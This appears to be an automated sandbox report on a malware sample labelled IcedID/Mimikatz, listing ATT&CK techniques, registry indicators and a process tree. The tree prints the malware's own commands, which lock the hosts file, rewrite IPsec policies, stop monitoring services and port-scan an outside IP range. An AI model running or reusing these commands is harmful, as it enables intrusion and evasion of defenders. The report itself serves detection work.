Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iimkcmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iimkcmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pufbqc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yhkmiczue.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bbmwcrbuw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3048	cmd.exe
1388	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000700000002344d-6.dat	nsis_installer_2
behavioral2/files/0x0007000000023459-15.dat	nsis_installer_1
behavioral2/files/0x0007000000023459-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	iimkcmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	iimkcmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	iimkcmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	iimkcmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	iimkcmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	iimkcmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	iimkcmd.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1388	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4556	schtasks.exe
4608	schtasks.exe
1660	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4584	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4584	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	100	iimkcmd.exe
Token: SeDebugPrivilege	4720	iimkcmd.exe
Token: SeDebugPrivilege	716	vfshost.exe
Token: SeDebugPrivilege	2624	rtucebkpz.exe
Token: SeLockMemoryPrivilege	1580	kawnpq.exe
Token: SeLockMemoryPrivilege	1580	kawnpq.exe
Token: SeDebugPrivilege	944	rtucebkpz.exe
Token: SeDebugPrivilege	4840	rtucebkpz.exe
Token: SeDebugPrivilege	3584	rtucebkpz.exe
Token: SeDebugPrivilege	4208	rtucebkpz.exe
Token: SeDebugPrivilege	2564	rtucebkpz.exe
Token: SeDebugPrivilege	3904	rtucebkpz.exe
Token: SeDebugPrivilege	3060	rtucebkpz.exe
Token: SeDebugPrivilege	2644	rtucebkpz.exe
Token: SeDebugPrivilege	1456	rtucebkpz.exe
Token: SeDebugPrivilege	4076	rtucebkpz.exe
Token: SeDebugPrivilege	3916	rtucebkpz.exe
Token: SeDebugPrivilege	1636	rtucebkpz.exe
Token: SeDebugPrivilege	2280	rtucebkpz.exe
Token: SeDebugPrivilege	2940	rtucebkpz.exe
Token: SeDebugPrivilege	3752	rtucebkpz.exe
Token: SeDebugPrivilege	5100	rtucebkpz.exe
Token: SeDebugPrivilege	1172	rtucebkpz.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4584	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
4584	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
100	iimkcmd.exe
100	iimkcmd.exe
4720	iimkcmd.exe
4720	iimkcmd.exe
4848	xohudmc.exe
952	pufbqc.exe
1216	iimkcmd.exe
1216	iimkcmd.exe
760	iimkcmd.exe
760	iimkcmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 3048	4584	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe	84
PID 4584 wrote to memory of 3048	4584	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe	84
PID 4584 wrote to memory of 3048	4584	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe	84
PID 3048 wrote to memory of 1388	3048	cmd.exe	86
PID 3048 wrote to memory of 1388	3048	cmd.exe	86
PID 3048 wrote to memory of 1388	3048	cmd.exe	86
PID 3048 wrote to memory of 100	3048	cmd.exe	95
PID 3048 wrote to memory of 100	3048	cmd.exe	95
PID 3048 wrote to memory of 100	3048	cmd.exe	95
PID 4720 wrote to memory of 1456	4720	iimkcmd.exe	97
PID 4720 wrote to memory of 1456	4720	iimkcmd.exe	97
PID 4720 wrote to memory of 1456	4720	iimkcmd.exe	97
PID 1456 wrote to memory of 3944	1456	cmd.exe	99
PID 1456 wrote to memory of 3944	1456	cmd.exe	99
PID 1456 wrote to memory of 3944	1456	cmd.exe	99
PID 1456 wrote to memory of 2464	1456	cmd.exe	100
PID 1456 wrote to memory of 2464	1456	cmd.exe	100
PID 1456 wrote to memory of 2464	1456	cmd.exe	100
PID 1456 wrote to memory of 944	1456	cmd.exe	101
PID 1456 wrote to memory of 944	1456	cmd.exe	101
PID 1456 wrote to memory of 944	1456	cmd.exe	101
PID 1456 wrote to memory of 2352	1456	cmd.exe	102
PID 1456 wrote to memory of 2352	1456	cmd.exe	102
PID 1456 wrote to memory of 2352	1456	cmd.exe	102
PID 1456 wrote to memory of 4788	1456	cmd.exe	103
PID 1456 wrote to memory of 4788	1456	cmd.exe	103
PID 1456 wrote to memory of 4788	1456	cmd.exe	103
PID 1456 wrote to memory of 4748	1456	cmd.exe	104
PID 1456 wrote to memory of 4748	1456	cmd.exe	104
PID 1456 wrote to memory of 4748	1456	cmd.exe	104
PID 4720 wrote to memory of 1740	4720	iimkcmd.exe	106
PID 4720 wrote to memory of 1740	4720	iimkcmd.exe	106
PID 4720 wrote to memory of 1740	4720	iimkcmd.exe	106
PID 4720 wrote to memory of 2960	4720	iimkcmd.exe	108
PID 4720 wrote to memory of 2960	4720	iimkcmd.exe	108
PID 4720 wrote to memory of 2960	4720	iimkcmd.exe	108
PID 4720 wrote to memory of 2552	4720	iimkcmd.exe	110
PID 4720 wrote to memory of 2552	4720	iimkcmd.exe	110
PID 4720 wrote to memory of 2552	4720	iimkcmd.exe	110
PID 4720 wrote to memory of 2940	4720	iimkcmd.exe	114
PID 4720 wrote to memory of 2940	4720	iimkcmd.exe	114
PID 4720 wrote to memory of 2940	4720	iimkcmd.exe	114
PID 2940 wrote to memory of 1920	2940	cmd.exe	116
PID 2940 wrote to memory of 1920	2940	cmd.exe	116
PID 2940 wrote to memory of 1920	2940	cmd.exe	116
PID 1920 wrote to memory of 1132	1920	wpcap.exe	117
PID 1920 wrote to memory of 1132	1920	wpcap.exe	117
PID 1920 wrote to memory of 1132	1920	wpcap.exe	117
PID 1132 wrote to memory of 2508	1132	net.exe	119
PID 1132 wrote to memory of 2508	1132	net.exe	119
PID 1132 wrote to memory of 2508	1132	net.exe	119
PID 1920 wrote to memory of 5044	1920	wpcap.exe	120
PID 1920 wrote to memory of 5044	1920	wpcap.exe	120
PID 1920 wrote to memory of 5044	1920	wpcap.exe	120
PID 5044 wrote to memory of 4596	5044	net.exe	122
PID 5044 wrote to memory of 4596	5044	net.exe	122
PID 5044 wrote to memory of 4596	5044	net.exe	122
PID 1920 wrote to memory of 4524	1920	wpcap.exe	123
PID 1920 wrote to memory of 4524	1920	wpcap.exe	123
PID 1920 wrote to memory of 4524	1920	wpcap.exe	123
PID 4524 wrote to memory of 4472	4524	net.exe	125
PID 4524 wrote to memory of 4472	4524	net.exe	125
PID 4524 wrote to memory of 4472	4524	net.exe	125
PID 1920 wrote to memory of 3440	1920	wpcap.exe	126

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2052
- C:\Windows\TEMP\qjfklwczb\kawnpq.exe
  "C:\Windows\TEMP\qjfklwczb\kawnpq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1580

C:\Users\Admin\AppData\Local\Temp\2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ptypikwv\iimkcmd.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1388
- - C:\Windows\ptypikwv\iimkcmd.exe
    C:\Windows\ptypikwv\iimkcmd.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:100

C:\Windows\ptypikwv\iimkcmd.exe
C:\Windows\ptypikwv\iimkcmd.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3944
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:2464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:944
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4788
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:4748
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1740
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2960
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fcbklmeji\ykckyizic\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\fcbklmeji\ykckyizic\wpcap.exe
    C:\Windows\fcbklmeji\ykckyizic\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1132
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2508
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5044
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:4596
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4524
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4472
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3440
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:688
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1064
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3356
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3624
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1220
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:1992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\fcbklmeji\ykckyizic\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1516
- - C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe
    C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\fcbklmeji\ykckyizic\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:708
- C:\Windows\SysWOW64\cmd.exe
